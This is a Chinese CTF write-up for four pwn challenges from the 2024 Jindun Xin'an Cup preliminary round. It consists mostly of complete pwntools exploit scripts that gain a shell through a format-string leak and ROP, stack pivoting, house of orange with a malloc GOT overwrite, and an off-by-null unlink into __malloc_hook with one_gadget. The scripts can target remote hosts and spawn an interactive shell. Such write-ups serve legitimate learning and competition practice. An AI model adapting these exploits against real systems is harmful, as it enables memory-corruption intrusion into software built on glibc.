第六届金盾信安杯初赛2024
又是被冲烂的一天
green
直接两个裸溢出,格式化字符串泄露canary和libc,然后直接走rop即可
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def pwn():
#dbg('b *$rebase(0x0000132A)')
sla('Every protection is enabled. Good luck.',b'%15$p.%16$p')#本地
ru('0x',True)
canary=int(r(8),16)
lg('canary',canary)
ru('0x',True)
stdout=int(r(8),16)
libc.address=stdout-ls('_IO_2_1_stdout_')
lg('libc',libc.address)
system=ls('system')
binsh=libc.search('/bin/sh\x00').__next__()
dbg('b *$rebase(0x00001363)')
payload=b'a'*32+p32(canary)+b'a'*12+flat([system,0,binsh])
sl(payload)
#dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='i386',bits=32,endian='little')
context.terminal=["tmux","splitw","-h","-l 150"]
binary='./green'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
stackmigration
溢出了0x10字节,栈劫持到bss上走rop泄露libc,然后再劫持一次走system
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def pwn():
ru('Give you a gift:0x',True)
leak=int(r(12),16)
lg('leak',leak)
read_leave_ret=0x000000000040087F
leave_ret=0x0000000000400896
bss=0x601000+0x200
bss1=0x601000+0x400
payload=b'a'*0x20+p64(bss-8)+p64(read_leave_ret)
sa('Do you still have something to say?',payload)
payload=b'a'*0x20+p64(bss+0x20)+p64(read_leave_ret)
s(payload)
#----------------leak libc
rdi=0x0000000000400963
payload=flat([rdi,eg('puts'),ep('puts')])
payload+=p64(leave_ret)
payload+=p64(bss1-8)+p64(read_leave_ret)
s(payload)
ru('\n',True)
puts=u64(r(6).ljust(8,b'\x00'))
lg('puts',puts)
libc=puts-0x000000000006F6A0
lg('libc',libc)
#---------------
system=0x00000000000453A0+libc
binsh=0x000000000018ce57+libc
payload=b'a'*0x20+p64(bss1+0x20)+p64(read_leave_ret)
dbg('b *0x0000000000400897')
s(payload)
rop=flat([rdi,binsh,system])
s(rop)
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 150"]
binary='./stackmigration'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
orange
glibc2.23
能申请任意大小的chunk和堆溢出,但是没有free
利用 house of orange 获得空闲块,看题目有后门,还没开full relro,我选择打malloc的GOT表
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def menu(num):
sla('Please enter your choice>>',str(num))
def add(size,content):
menu(1)
sa('input your note size',str(size))
sa('input your note',content)
def edit(idx,content):
menu(2)
sa('input note index',str(idx))
sa('input your note size',str(len(content)))
sa('input your note',content)
def show(idx):
menu(3)
sa('input index',str(idx))
def pwn():
door=0x0000000000400987
#---------orange
add(0x10,b'A')
payload=b'a'*(0x20-8)+p64(0xfe1)
edit(0, payload)
add(0xf40,b'aaaa')
#ub->0xfe1
add(0x90,b'aaaa')
payload=b'a'*0xf48+flat([0x71,0x60209d])
edit(1,payload)
add(0x60,b'aaaa')
add(0x60,b'aaaa')
payload=b'b'*0x13+p64(eg('malloc'))
edit(4,payload)
edit(0,p64(door))
#---------attack
menu(1)
sa('input your note size','20')
dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 150"]
binary='./Orange'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
babyheap
glibc2.23
libc2.23的off by null,打unlink构造重叠堆块,然后打__malloc_hook
环境条件不满足one_gadget的条件,需要利用__realloc_hook来调节栈帧
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def menu(num):
sla('Choose an option >> ',str(num))
def add(size,content):
menu(1)
sa('How much do you want',str(size))
sla('Enter something?',content)
def edit(idx,content):
menu(2)
sa('input index',str(idx))
sla('Enter something?',content)
def show(idx):
menu(3)
sa('Give me a index.Let you see see',str(idx))
def delete(idx):
menu(4)
sa('input index',str(idx))
def pwn():
add(0x108,b'aaaa') #0
add(0x68,b'aaaa') #1
add(0x68,b'aaaa') #2
add(0x18,b'aaaa') #3
add(0x3f0,b'aaaa') #4
add(0x18,b'/bin/sh') #5
edit(3,b'a'*0x10+p32(0x210)+b'\x00'*3)
delete(2)
delete(0)
delete(4)
add(0x108,b'bbbb')
show(1)
ru('\n',True)
leak=u64(r(6).ljust(8,b'\x00'))
lg('leak',leak)
libc.address=leak-0x3c4b78
lg('libc',libc.address)
__free_hook=ls('__free_hook')
__malloc_hook=ls('__malloc_hook')
__realloc_hook=ls('__realloc_hook')
system=ls('system')
target=__malloc_hook-0x28+5
lg('target',target)
add(0xd0,b'x'*0x68+p64(0x71)+p64(target))
add(0x60,b'aaaa')
one=[0x4527a,0xf03a4,0xf1247]
payload=p64(one[0]+libc.address)+p64(ls('realloc')+0x10)
add(0x60,b'b'*11+payload)
dbg('')
menu(1)
sa('How much do you want',str(0x10))
itr()
'''
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 150"]
binary='./babyheap'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()